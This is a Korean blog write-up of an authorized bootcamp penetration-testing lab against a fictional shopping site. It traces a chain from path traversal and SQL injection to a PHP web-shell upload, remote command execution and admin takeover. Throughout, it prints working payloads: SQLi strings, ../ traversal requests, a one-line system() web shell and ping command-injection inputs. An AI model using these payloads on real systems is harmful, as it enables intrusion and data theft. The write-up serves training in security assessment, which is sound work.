CJ Commerce 모의해킹 — RFP 분석부터 서버 명령 실행까지

🛡️ 강사 제공 인가된 실습 환경에서 수행

들어가며

안내: 본 글은 부트캠프에서 제공한 인가된 교육용 모의해킹 환경을 대상으로 진행한 실습 기록이다. 본문에 등장하는 CJ Commerce는 실습을 위해 구성된 가상 쇼핑몰이며, 실제 CJ 및 관련 서비스와는 아무런 관계가 없다. 글에 포함된 주소·계정·데이터·플래그는 모두 교육용 환경의 정보이며, 허가받지 않은 시스템에 본문의 방법을 시도해서는 안 된다.

부트캠프에서 RFP 형식의 웹 모의해킹 실습을 하루종일 돌렸다. 대상은 CJ Commerce라는 가상 쇼핑몰(http://192.168.10.100:19191). 흔한 CTF처럼 “플래그 찾기” 문제가 아니라, 실제 진단처럼 정보수집부터 서버 장악까지 풀 라이프사이클을 밟는 구성이었다.

결과만 말하면 취약점 12종을 찾았고, 그걸 따로따로가 아니라 하나의 공격 체인으로 엮어서 관리자 패널까지 장악했다. 근데 결과보다 재밌는 건 과정이라, 이 글은 “뭘 시도해서 → 뭘 얻었고 → 그걸로 또 뭘 했는지”를 시간순으로 적었다. 막힌 지점이랑 삽질도 그대로 남긴다. 실제 진단이 매끄럽게 흘러가는 일은 거의 없으니까.

이 글의 핵심 메시지 하나만 먼저 던지면: 취약점 하나하나는 별거 아니어도, 엮이는 순간 퍼즐처럼 풀린다.


<시작 페이지>

0. 시작은 영수증 한 장

가장 먼저 손에 쥔 단서는 인보이스 샘플 텍스트 파일 하나였다.

CJ Commerce Sample Invoice
order_no=KC2026-000001
customer=CUST-0001
status=paid
download_module=/download.php?file=sample_invoice.txt

여기서 눈이 두 군데로 갔다.

  • download.php?file= → 파일명을 파라미터로 받네? 경로 조작(LFI) 냄새가 난다.
  • order_no, customer → 파라미터 기반 SQLi 후보.

이렇게 두 갈래 실마리를 잡고 출발했다. (참고로 order_no 쪽은 나중에 URL 파라미터가 아니라 그냥 파일 내용이었던 걸로 밝혀졌다. 초반 추측은 틀릴 수 있다.)


1. 첫 삽 — 검색창 SQL Injection

1.1 주입점부터 확인

정석대로 검색창에 작은따옴표 하나(')를 던졌다. 그랬더니 MariaDB 문법 에러가 화면에 그대로 떴다.

You have an error in your SQL syntax; ... near 'ORDER BY id DESC LIMIT 40' ...

이 한 줄이 두 가지를 알려줬다.

  1. 입력값이 검증 없이 쿼리에 들어간다 → SQLi 확정.
  2. verbose 에러가 쿼리 꼬리(ORDER BY id DESC LIMIT 40)까지 노출 → 이건 별개의 정보노출 취약점이다.

1.2 진짜 악용 가능한지 입증

에러 난다고 끝이 아니다. “실제로 데이터를 꺼낼 수 있느냐”를 보여줘야 취약점이다. ' OR '1'='1 을 넣었더니 검색 결과가 LIMIT 상한인 40개 전부 튀어나왔다. WHERE 조건을 내 맘대로 조작할 수 있다는 뜻. 이때 쿼리 구조가 ... LIKE '%[입력]%' 형태라는 것도 추론했다.

1.3 막힘 ① — UNION이 자꾸 미끄러진다

컬럼 수를 세려고 ' ORDER BY 1 -- 를 넣었는데, 에러 메시지가 오히려 내부 구조를 폭로해버렸다.

near 'ORDER BY 1 -- %' OR p.description LIKE '%' ORDER BY 1 -- %' OR p.brand LIKE '...

내 입력값이 title, description, brand 여러 컬럼에 복제돼서 들어가고 있었다. 그래서 -- 로 뒤를 주석 처리해도, 복제된 뒷부분이 살아남아서 계속 문법이 깨졌다. 블록 주석, 따옴표 균형 맞추기 등등 여러 방법을 시도했지만 다중 복제 구조라 수동 UNION이 계속 어긋났다.

여기서 중요한 판단. SQLi가 존재하고 악용 가능하다는 근거는 이미 확보했다. 그럼 검색창에 매달릴 이유가 없다. 다른 주입점을 찾기로 하고 넘어갔다. (진단에서 한 지점에 갇히면 시간만 녹는다.)


2. Path Traversal - 임의 파일 읽기

아까 그 인보이스 샘플, 다운로드해보니 파일 안에 다운로드 경로가 대놓고 적혀 있었다. download.php?file= 이 녀석을 건드릴 차례.

2.1 경로 탈출 확인

file= 값에 ../ 를 개수 늘려가며 넣었다.

file=../etc/passwd
file=../../etc/passwd
...
file=../../../../../etc/passwd   ← ../ 5개에서 성공

/etc/passwd 가 통째로 나왔다.

root:x:0:0:... 확인. 임의 파일 읽기 확정.

여기서 보너스. passwd 안에 mysql:x:100:101:MariaDB Server 라인이 보였다. 아까 SQLi에서 만난 그 MariaDB가 같은 호스트에 있다는 교차 증거였다.

2.2”파일 읽기” 능력이 최강 무기가 되는 순간

LFI의 진짜 무서움은 여기서부터다. 임의 파일을 읽을 수 있다는 건 곧 앱 소스코드를 다 볼 수 있다는 뜻이다. 화이트박스 진단을 강제로 여는 셈.

download.php 에러가 기준 경로를 친절하게 알려줬다.

readfile(/var/www/html/files/invoices/../../../../../proc/self/environ)
    ... in /var/www/html/download.php on line 18
  • 파일 기준 디렉터리 = /var/www/html/files/invoices/
  • 18번 줄 readfile() 로 파일을 내려줌
  • 웹루트 = /var/www/html

이제 소스를 캐본다.

file=../../config.php     (invoices/ 에서 2단계 위 = 웹루트)
file=../../download.php

readfile()include 와 달리 PHP를 실행하지 않고 소스 그대로 뱉는다. base64 래퍼 같은 것도 필요 없이 소스가 나왔다.

config.php에서 나온 것 — 평문 DB 크레덴셜:

DB_HOST = 127.0.0.1
DB_NAME = commerce_final_19_01
DB_USER = app
DB_PASSWORD = app_password

DB 접속정보가 평문으로 굴러다녔다. 다만 DB_HOST127.0.0.1 이라 외부에서 직접 접속은 안 된다. 쉘을 따야 써먹을 수 있다는 것도 이때 파악했다. (이 메모가 나중에 결정적으로 쓰인다.)

download.php 소스에서 나온 것 — LFI 근본원인:

$path = $base . str_replace('..//', '../', $file);
if (!is_file($path)) { ... 404 ... }
readfile($path);

필터가 ..//../바꾸기만 한다. traversal을 막기는커녕 오히려 정규화해주는 헛발질이었다. ../ 자체는 전혀 차단하지 않는다. 개발자가 “필터 넣었다”고 안심했을 법한, 딱 현업에서 자주 보는 패턴.


3. 두 번째 SQLi — product.php (이번엔 성공)

사이트를 직접 돌아다니며 공격면을 모으다 보니 product.php?id=92 라는 상품 상세 페이지가 눈에 띄었다. ?id= 파라미터, 새 SQLi 후보다.

3.1 막힘 ② — 따옴표 삽질

문자열 컨텍스트라고 넘겨짚고 접근했다.

id=92' ORDER BY 3-- -   → near '' ORDER BY 3  (따옴표 안 맞음)
id=92'#                 → near ''#'           (주석이 따옴표 안에 갇힘)
id=92' AND '1'='1       → near '' AND '1'='1' (앞에 빈 따옴표가 이미 있음)

계속 어긋났다. 그러다 기본으로 돌아가서 하나 테스트했다.

id=92 AND 1=1   → 정상 상품 표시

아, 문자열이 아니라 숫자(정수) 컨텍스트였다. 따옴표 없이 숫자 뒤에 바로 구문을 붙이면 되는 거였고, 앞선 삽질은 전부 불필요한 따옴표 때문이었다. 컨텍스트를 잘못 잡으면 이렇게 한참을 돈다.

3.2 컬럼 수 → 출력 위치 → 데이터

id=92 ORDER BY 14   (정상)
id=92 ORDER BY 15   (에러)   → 컬럼 14개 확정

id=0 UNION SELECT 1,2,3,...,14   → 화면에 뜨는 자리 = 6번

원본 결과를 지우려고 id=0 을 썼다. 이제 6번 자리에 원하는 데이터를 실어서 문어발로 뽑아낸다.

테이블 목록 (일부):

members  admin_users  secrets  inquiry_attachments  orders
coupons  sellers  shipments  ...

여기서 실수 하나. 고객 계정 테이블이 users 인 줄 알고 뒤졌더니 MySQL 시스템 테이블이 잡혔다. DB 스키마를 명시해서 다시 보니 실제 이름은 members 였다.

members 를 덤프하니 password_hash 가 나왔는데 — SHA-256, 그것도 salt 없이. 일부는 유명한 해시라 눈으로 바로 식별됐다. 5e884898... = password, 이런 식으로.


4. 킬체인의 핵심 — 파일 업로드 → 웹쉘 RCE

LFI로 inquiry.php(1:1 문의, 첨부 업로드 있음) 소스를 읽었다.

$stored = bin2hex(random_bytes(10)) . '_' . preg_replace('/[^A-Za-z0-9._-]/','_',$original);
$dest = __DIR__ . '/uploads/' . $stored;
move_uploaded_file(...); chmod($dest, 0444);
INSERT INTO inquiry_attachments (... stored_name ...);

분석하니 상황이 이랬다.

  • 확장자/MIME/magic byte 검증이 전혀 없다 → 웹쉘 업로드 자체는 무조건 성공.
  • 저장 경로 = /var/www/html/uploads/
  • 막힘 ③: 파일명을 random_bytes(10) 로 랜덤화한다.올려도 실행 URL을 모른다. 브루트포스도 불가능.
  • chmod 0444 로 실행권한을 뺐지만, PHP는 웹서버가 해석하니까 실행권한이랑 상관없다. 무력.

랜덤 파일명이 벽이었는데 — 소스를 다시 보니 그 파일명이 inquiry_attachments.stored_name 컬럼에 DB로 저장되고 있었다. 그리고 나한텐 방금 뚫은 product.php SQLi가 있다.

조각들이 하나로 연결되는 순간이다.

1. inquiry.php로 웹쉘 업로드
   shell.php = <?php system($_GET['c']); ?>

2. product.php SQLi로 방금 올린 파일의 랜덤 이름 조회
   SELECT stored_name FROM inquiry_attachments
   → 7f9baa04d1312d41b0de_shell.php

3. 그 URL 호출
   /uploads/7f9baa04d1312d41b0de_shell.php?c=id
   → uid=33(www-data) gid=33(www-data)

난 여기서 11번 shell.php를 사용했다.

_ 웹쉘 성공 증명_

RCE 성공. 서버에서 임의 명령을 실행할 수 있게 됐다.

삽질 기록 하나. 처음엔 실수로 엉뚱한 파일(이전에 LFI로 받아둔 login.php)을 올렸는데, 그때 뜬 include 에러가 오히려 “uploads의 .php가 실행된다”는 증거가 됐다. 실수가 힌트를 준 셈. 올바른 웹쉘로 재시도해서 성공.

4.1 RCE가 이전 병목을 전부 우회한다

쉘을 따고 나니, 아까 config.php 에서 훔친 DB 크레덴셜이 빛을 발했다. DB_HOST=127.0.0.1 이라 외부 접속이 안 됐던 그 DB를, 이제 서버 안에서 직접 때린다.

?c=mysql -u app -papp_password commerce_final_19_01 -e "SELECT ... FROM members"

그렇게 어렵던 데이터 추출이 mysql 한 줄로 끝났다. SQLi로 한 글자씩 뽑던 삽질이 무의미해지는 순간. 상위 권한을 얻으면 하위 방법들은 전부 우회된다는 걸 체감했다.


5. 관리자 장악 — 크랙 실패를 정면돌파

members 해시를 john(rockyou 워드리스트)으로 돌리니 admin/password, test123/test123 같은 약한 고객 계정이 즉시 나왔다. “매우 취약한 계정” 힌트의 정답이었다.

근데 진짜 목표인 관리자 계정 해시는 rockyou로 안 깨졌다. 강한 비번이었다. 여기서 크랙에 매달리는 대신, RCE로 secrets 테이블을 통째로 읽었다.

admin_hint : admin / Dhvjfpdlxjtm12!@   ← 관리자 평문 비번
seller_hint: seller01 / seller2026!      ← 판매자 계정
+ 취약점별 플래그 전체

크랙으로 못 깬 관리자 비번이, 다른 테이블에 평문으로 저장돼 있었다. 게다가 비밀번호 재설정 페이지가 보안질문(“처음 근무한 부서”)을 노출하고 그 답까지 평문(commerce)으로 DB에 있어서, 인증 우회(비번 재설정) 경로도 따로 열려 있었다. 한 계정에 뚫는 길이 두 개.

admin / Dhvjfpdlxjtm12!@ 로 관리자 패널에 진입. superadmin 대시보드 확보.


6. 마지막 고리 — Command Injection

관리자 패널에 “배송 API 진단(ping)” 메뉴가 있었다. Host를 입력하면 ping을 때려주는 기능. 진단 기능 + 사용자 입력 = 명령어 주입 단골 자리다.

Host: 127.0.0.1; ls -la
→ ping 결과 뒤에 ls -la 출력이 그대로 붙어 나옴  (; 구분자가 먹힘)

Host: 127.0.0.1; cat /flag_cmdi.txt
→ CJ{final_admin_ping_command_injection}

Host 입력을 ping 명령에 검증 없이 이어붙여서 임의 명령이 실행됐다. Command Injection 확정.

한편 판매자센터(seller01)의 상품 이미지 업로드에는 “검수모드” 드롭다운이 있었는데, 모드별로 필터를 우회하는 5종 세트(Basic/MIME/Double확장자/Case/Combined)도 다 뚫었다. 필터가 어설프면 뚫는 방법도 그만큼 늘어난다는 좋은 예시.


전체 공격 체인 한눈에

[인보이스 샘플]

   ├─▶ download.php LFI
   │       ├─▶ /etc/passwd        → DB가 같은 호스트에 있음 확인
   │       ├─▶ download.php 소스  → LFI 근본원인 + 기준경로
   │       ├─▶ config.php         → DB 크레덴셜 평문
   │       └─▶ inquiry.php 소스   → 업로드 검증 부재 + stored_name이 DB에 있음

   ├─▶ product.php SQLi (숫자 컨텍스트, 성공)
   │       ├─▶ members 덤프       → 해시 크랙 → 취약 계정
   │       ├─▶ inquiry_attachments → 웹쉘 랜덤 파일명 획득
   │       └─▶ secrets 덤프        → 플래그 + admin 평문비번 + seller 계정

   ├─▶ inquiry 업로드(웹쉘) + SQLi(파일명 조회) ══▶ RCE (www-data)
   │       └─▶ mysql 직접 실행     → 이후 DB 추출을 SQLi 없이 처리

   ├─▶ admin 평문비번/재설정 우회  → 관리자 패널 장악
   │       └─▶ 배송 진단(ping)     → Command Injection

   └─▶ seller센터 → 업로드 필터 우회 5종

LFI → 소스 노출 → 웹쉘 경로를 SQLi로 복구 → RCE 이 흐름이 이번 실습의 교과서적인 체인이었다. 각각은 흔한 취약점인데, 순서대로 물리니까 관리자까지 갔다.


발견 취약점 12종 요약

#취약점위치
1SQL Injection (UNION/Error)search.php, product.php
2SQL Injection (Boolean blind)checkout 쿠폰
3SQL Injection (Time-based blind)track.php
4Path Traversal / LFIdownload.php
5파일 업로드 검증 부재 → RCEinquiry.php
6파일 업로드 필터 우회 5종seller 상품 이미지
7Command Injectionadmin 배송 진단(ping)
8Stored XSS상품 리뷰, 문의 제목
9취약한 인증 + 약한 해싱login (SHA-256 무salt)
10인증 우회 (비번 재설정)보안질문 답 평문
11민감정보 노출config.php, verbose 에러
12개인정보/주문정보 대량 유출members, orders, admin_users

막혔던 지점 = 사실 배운 지점

돌아보면 배운 게 가장 많았던 순간은 다 막혔을 때였다.

막힌 곳원인돌파
검색 SQLi UNION 실패입력이 다중 컬럼에 복제됨다른 주입점(product.php)으로 전환
product.php 따옴표 삽질문자열 컨텍스트로 오판id=92 AND 1=1 로 숫자 컨텍스트 확정
웹쉘 랜덤 파일명예측 불가stored_name이 DB에 있음 → SQLi로 조회
관리자 해시 크랙 실패강한 비번secrets의 평문 비번 확보 / 재설정 우회
root 권한상승Docker 컨테이너(.dockerenv)컨테이너 범위상 미적용, www-data로 목표 달성

마지막 root 얘기를 조금 덧붙이면, 쉘을 딴 뒤 권한상승을 노렸지만 /.dockerenv 가 보였다. 컨테이너 환경이라 sudo도 없고 만만한 SUID도 없어서 root는 못 갔다. 이건 실패라기보단 환경의 한계를 정확히 인지한 것에 가깝다. 컨테이너 안에서 www-data로 목표(플래그·DB 전체·관리자 장악)는 다 달성했으니까.


마무리하며 남는 것

세 가지가 오래 남았다.

  1. 취약점은 엮일 때 폭발한다. LFI 하나, SQLi 하나는 흔하다. 근데 “LFI로 알아낸 DB 구조를 SQLi로 조회해서 웹쉘 경로를 복구한다”처럼 연결되면 얘기가 완전히 달라진다. 진단할 때 각 취약점을 점수 매기는 것보다, 그것들이 어떻게 이어지는지를 그리는 게 훨씬 중요했다.

  2. 모든 웹 공격은 결국 같은 뼈대다. 요청 값을 조작한다 → 서버가 검증 없이 믿는다 → 뚫린다. SQLi, LFI, 업로드, 커맨드 인젝션 전부 이 문장의 변주였다.

  3. 막히면 딴 데 가라. 검색창 UNION에 계속 매달렸으면 하루가 다 갔을 거다. “존재 근거는 확보했으니 다른 길로”라는 판단이 오히려 전체 체인을 완성시켰다.

사실 메인은 웹해킹이 목적이 아닌, 고객이 의뢰한 시나리오에 맞게 모의해킹을 진행하여 실제 고객에게 보안 솔루션을 줄 수 있는 보고서를 작성하는것이였다. 항상 그냥 공부만을 위한 모의해킹을 하다가 막상 내가 모의해킹하는 모든 과정을 전부 스크린샷으로 남겨놓고 그걸 또 문서화해서 적게되니 모의해킹 하는 시간보다 보고서쓰는 시간이 더 오래 걸린거 같다. 지금 이 글을 쓰는데도, 사실 이 웹 페이지에 판매자나 관리자 전용 페이지가 다 따로 존재하고, 그 페이지에도 여러 취약점이 존재했는데, 이걸 전부다 적기엔 나중에 내가 안읽을거같아서.. 재미로 읽을수 있게 좀 스토리텔링식으로 가볍게 적었다.

보고서 작성 과정은 시간나면 적도록 하겠다.

원본 · velog.io